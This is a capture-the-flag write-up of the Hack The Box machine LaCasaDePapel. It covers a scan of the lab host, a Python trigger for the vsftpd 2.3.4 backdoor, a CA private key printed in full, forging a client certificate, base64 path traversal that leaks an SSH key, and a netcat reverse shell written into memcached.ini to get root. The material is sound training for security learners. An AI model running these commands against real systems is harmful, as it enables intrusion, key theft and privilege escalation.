LaCasaDePapel
27/07/2019
LaCasaDePapel
is an easy and great box to learn about certificates and ssh
configuration. To escalate privileges, it's all about enumeration and finding the correct file.
User
First run a nmap
to see we have ports 21/ftp
, 22/ssh
, 80/http
and 443/https
open.
root@kali:~/htb/lacasadepapel# nmap -sC -sV 10.10.10.131 Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-03 11:10 EDT Nmap scan report for 10.10.10.131 Host is up (0.52s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 7.9 (protocol 2.0) | ssh-hostkey: | 2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA) | 256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA) |_ 256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519) 80/tcp open http? 443/tcp open ssl/http Node.js Express framework Service Info: OS: Unix
On port 80
we have the following website with a picture of the cast from the Netflix show La casa de papel.
On the website we just seem to have the option to create an account to get a free trial and if we visit the site via https
we get an error because we require a certificate to continue.
Going back to our scan, we can see we have vsftpd 2.3.4
running on port 21
. This version of vsftpd
is known to have a backdoor, that causes the system to pop a shell in port 6200
when a user containing a smiley [ :)
] tries to login.
I automated the process with this simple python script to open the backdoor.
root@kali:~/htb/lacasadepapel# cat openplz.py import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.10.10.131", 21)) s.send('USER caca:)\n') s.send('PASS pipi\n') s.close()
After triggering the backdoor we can connect to the shell on port 6200
via nc
.
root@kali:~/htb/lacasadepapel# nc 10.10.10.131 6200 (UNKNOWN) [10.10.10.131] 6200 (?) : Connection refused root@kali:~/htb/lacasadepapel# python openplz.py root@kali:~/htb/lacasadepapel# nc 10.10.10.131 6200 Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
Here we don't have a regular shell, but some kind of PHP shell instead.
After trying different functions I didn't find a way to execute commands on the system.
exec('whoami') PHP Fatal error: Call to undefined function exec() in Psy Shell code on line 1 exec_shell('whoami') PHP Fatal error: Call to undefined function exec_shell() in Psy Shell code on line 1 system('whoami') PHP Fatal error: Call to undefined function system() in Psy Shell code on line 1 passthru('whoami') PHP Fatal error: Call to undefined function passthru() in Psy Shell code on line 1
Using the command help
we can see a the list of available custom commands on this shell.
help help Show a list of commands. Type `help [foo]` for information about [foo]. Aliases: ? ls List local, instance or class variables, methods and constants. Aliases: list, dir dump Dump an object or primitive. doc Read the documentation for an object, class, constant, method or property. Aliases: rtfm, man show Show the code for an object, class, constant, method or property. wtf Show the backtrace of the most recent exception. Aliases: last-exception, wtf? whereami Show where you are in the code. throw-up Throw an exception or error out of the Psy Shell. timeit Profiles with a timer. trace Show the current call stack. buffer Show (or clear) the contents of the code input buffer. Aliases: buf clear Clear the Psy Shell screen. edit Open an external editor. Afterwards, get produced code in input buffer. sudo Evaluate PHP code, bypassing visibility restrictions. history Show the Psy Shell history. Aliases: hist exit End the current session and return to caller. Aliases: quit, q
If we ls
we can see there's a local variable $tokyo
declared.
ls Variables: $tokyo
Using show
we can see its code.
show $tokyo > 2| class Tokyo { 3| private function sign($caCert,$userCsr) { 4| $caKey = file_get_contents('/home/nairobi/ca.key'); 5| $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']); 6| openssl_x509_export($userCert, $userCertOut); 7| return $userCertOut; 8| } 9| }
It's a function that signs certificates using a key in /home/nairobi/ca.key
, so this could help us to access the https
website we saw before which require a valid certificate.
To generate one, first of all, let's retrieve the private key using readfile
.
readfile('/home/nairobi/ca.key') -----BEGIN PRIVATE KEY----- MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb 7MJsi//m8mm5rEkXcDmratVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/ 2m+jLx7wNH2SwFBjJeo5lnz+ux3HB+NhWC/5rdRsk07h71J3dvwYv7hcjPNKLcRl uXt2Ww6GXj4oHhwziE2ETkHgrxQp7jB8pL96SDIJFNEQ1Wqp3eLNnPPbfbLLMW8M YQ4UlXOaGUdXKmqx9L2spRURI8dzNoRCV3eS6lWu3+YGrC4p732yW5DM5Go7XEyp s2BvnlkPrq9AFKQ3Y/AF6JE8FE1d+daVrcaRpu6Sm73FH2j6Xu63Xc9d1D989+Us PCe7nAxnAgMBAAECggEAagfyQ5jR58YMX97GjSaNeKRkh4NYpIM25renIed3C/3V Dj75Hw6vc7JJiQlXLm9nOeynR33c0FVXrABg2R5niMy7djuXmuWxLxgM8UIAeU89 1+50LwC7N3efdPmWw/rr5VZwy9U7MKnt3TSNtzPZW7JlwKmLLoe3Xy2EnGvAOaFZ /CAhn5+pxKVw5c2e1Syj9K23/BW6l3rQHBixq9Ir4/QCoDGEbZL17InuVyUQcrb+ q0rLBKoXObe5esfBjQGHOdHnKPlLYyZCREQ8hclLMWlzgDLvA/8pxHMxkOW8k3Mr uaug9prjnu6nJ3v1ul42NqLgARMMmHejUPry/d4oYQKBgQDzB/gDfr1R5a2phBVd I0wlpDHVpi+K1JMZkayRVHh+sCg2NAIQgapvdrdxfNOmhP9+k3ue3BhfUweIL9Og 7MrBhZIRJJMT4yx/2lIeiA1+oEwNdYlJKtlGOFE+T1npgCCGD4hpB+nXTu9Xw2bE G3uK1h6Vm12IyrRMgl/OAAZwEQKBgQDahTByV3DpOwBWC3Vfk6wqZKxLrMBxtDmn sqBjrd8pbpXRqj6zqIydjwSJaTLeY6Fq9XysI8U9C6U6sAkd+0PG6uhxdW4++mDH CTbdwePMFbQb7aKiDFGTZ+xuL0qvHuFx3o0pH8jT91C75E30FRjGquxv+75hMi6Y sm7+mvMs9wKBgQCLJ3Pt5GLYgs818cgdxTkzkFlsgLRWJLN5f3y01g4MVCciKhNI ikYhfnM5CwVRInP8cMvmwRU/d5Ynd2MQkKTju+xP3oZMa9Yt+r7sdnBrobMKPdN2 zo8L8vEp4VuVJGT6/efYY8yUGMFYmiy8exP5AfMPLJ+Y1J/58uiSVldZUQKBgBM/ ukXIOBUDcoMh3UP/ESJm3dqIrCcX9iA0lvZQ4aCXsjDW61EOHtzeNUsZbjay1gxC 9amAOSaoePSTfyoZ8R17oeAktQJtMcs2n5OnObbHjqcLJtFZfnIarHQETHLiqH9M WGjv+NPbLExwzwEaPqV5dvxiU6HiNsKSrT5WTed/AoGBAJ11zeAXtmZeuQ95eFbM 7b75PUQYxXRrVNluzvwdHmZEnQsKucXJ6uZG9skiqDlslhYmdaOOmQajW3yS4TsR aRklful5+Z60JV/5t2Wt9gyHYZ6SYMzApUanVXaWCCNVoeq+yvzId0st2DRl83Vc 53udBEzjt3WPqYGkkDknVhjD -----END PRIVATE KEY----- => 1704
Now, we generate a certificate signing request using openssl
.
root@kali:~/htb/lacasadepapel# openssl req -new -newkey rsa:2048 -nodes -keyout caca.key -out caca.csr Generating a RSA private key ...................................................................................+++++ ...+++++ writing new private key to 'caca.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]: State or Province Name (full name) [Some-State]: Locality Name (eg, city) []: Organization Name (eg, company) [Internet Widgits Pty Ltd]: Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []: Email Address []: Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []:
root@kali:~/htb/lacasadepapel# cat caca.csr -----BEGIN CERTIFICATE REQUEST----- MIICijCCAXICAQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUx ... NBCvwzLuqPl5u7bBbyPXr3am8kZkS9eAEzRnjay2 -----END CERTIFICATE REQUEST-----
Now we need the website certificate, we can copy paste it when connecting to the site.
root@kali:~/htb/lacasadepapel# openssl s_client -connect 10.10.10.131:443 -showcerts CONNECTED(00000003) Can't use SSL_get_servername depth=0 CN = lacasadepapel.htb, O = La Casa De Papel verify error:num=18:self signed certificate ...
Or we can run the following command which will save it directly into a file.
root@kali:~/htb/lacasadepapel# ex +'/BEGIN CERTIFICATE/,/END CERTIFICATE/p' <(echo | openssl s_client -showcerts -connect 10.10.10.131:443) -scq > casadepapel.crt
Having the csr, the cert and the key we can create our own public certificate.
root@kali:~/htb/lacasadepapel# openssl x509 -req -in caca.csr -CA casadepapel.crt -CAkey ca.key -CAcreateserial -out pipi.crt -sha256 Signature ok subject=C = AU, ST = Some-State, O = Internet Widgits Pty Ltd Getting CA Private Key
Since Firefox doesn't accept crt files, we create a p12 certificate using the key and the crt.
root@kali:~/htb/lacasadepapel# openssl pkcs12 -export -in pipi.crt -inkey caca.key -out pipi.p12 Enter Export Password: Verifying - Enter Export Password:
Import it on the certificate manager tab and we're ready to go.
Now we're able to access the private area where we can download both seasons of the Netflix serie.
The URL to view the files is https://10.10.10.131/?path=SEASON-1
and if we play with that path
variable we can see it's possible to go to the parent directory using ?path=..
, where there's the user flag.
Also, the URL to download a file has this structure https://10.10.10.131/file/U0VBU09OLTEvMDEuYXZp
. If we decode that strange string in base64
we'll see it's just the path of the file to download.
root@kali:~/htb/lacasadepapel# echo U0VBU09OLTEvMDEuYXZp | base64 -d SEASON-1/01.avi
We just have to encode the path where the file is located.
root@kali:~/htb/lacasadepapel# echo -n "../user.txt" | base64 Li4vdXNlci50eHQ=
And replace the base64
value (https://10.10.10.131/file/Li4vdXNlci50eHQ=
).
root@kali:~/htb/lacasadepapel# cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Privilege Escalation
Enumerating a bit, we should see that the folder .ssh
contains a private key id_rsa
. Encode the path to base64
.
root@kali:~/htb/lacasadepapel# echo -n "../.ssh/id_rsa" | base64 Li4vLnNzaC9pZF9yc2E=
Replace again the base64
string (https://10.10.10.131/file/Li4vLnNzaC9pZF9yc2E=
) and download the key.
Change the file permissions to be able to use it.
root@kali:~/htb/lacasadepapel# chmod 600 id_rsa
If we go to ?path=../../
we'll see we have the following users (we can also download /etc/passwd
).
Connecting via ssh
with the obtained private key and those users, we should see the connection is established if we use professor
.
root@kali:~/htb/lacasadepapel# ssh -i id_rsa professor@10.10.10.131 _ ____ ____ ____ _ | | __ _ / ___|__ _ ___ __ _ | _ \ ___ | _ \ __ _ _ __ ___| | | | / _` | | | / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ | | |__| (_| | | |__| (_| \__ \ (_| | | |_| | __/ | __/ (_| | |_) | __/ | |_____\__,_| \____\__,_|___/\__,_| |____/ \___| |_| \__,_| .__/ \___|_| |_| lacasadepapel [~]$
On our home directory, we have some files from memcached
owned by root
.
lacasadepapel [~]$ ls -al total 24 drwxr-sr-x 4 professo professo 4096 Mar 6 20:56 . drwxr-xr-x 7 root root 4096 Feb 16 18:06 .. lrwxrwxrwx 1 root professo 9 Nov 6 23:10 .ash_history -> /dev/null drwx------ 2 professo professo 4096 Jan 31 21:36 .ssh -rw-r--r-- 1 root root 88 Jan 29 01:25 memcached.ini -rw-r----- 1 root nobody 434 Jan 29 01:24 memcached.js drwxr-sr-x 9 root professo 4096 Jan 29 01:31 node_modules
On the ini
file there's the command which should be executed to run memcached
.
lacasadepapel [~]$ cat memcached.ini [program:memcached] command = sudo -u nobody /usr/bin/node /home/professor/memcached.js
We can't modify the content of the file because its permissions, but we do can replace it.
Change the filename of the original ini file.
lacasadepapel [~]$ mv memcached.ini memcached.old
And then, create another one but now with a nc
reverse shell to our machine.
lacasadepapel [~]$ echo -ne "[program:memcached]\ncommand = nc 10.10.16.43 6969 -e /bin/bash" > memcached.ini
When the service tries to run again, if we were listening on the specified port we should receive a shell from root
.
root@kali:~/htb/lacasadepapel# nc -nlvp 6969 listening on [any] 6969 ... connect to [10.10.16.43] from (UNKNOWN) [10.10.10.131] 38783 whoami root
And now we're able to read the root
flag.
cat /root/root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX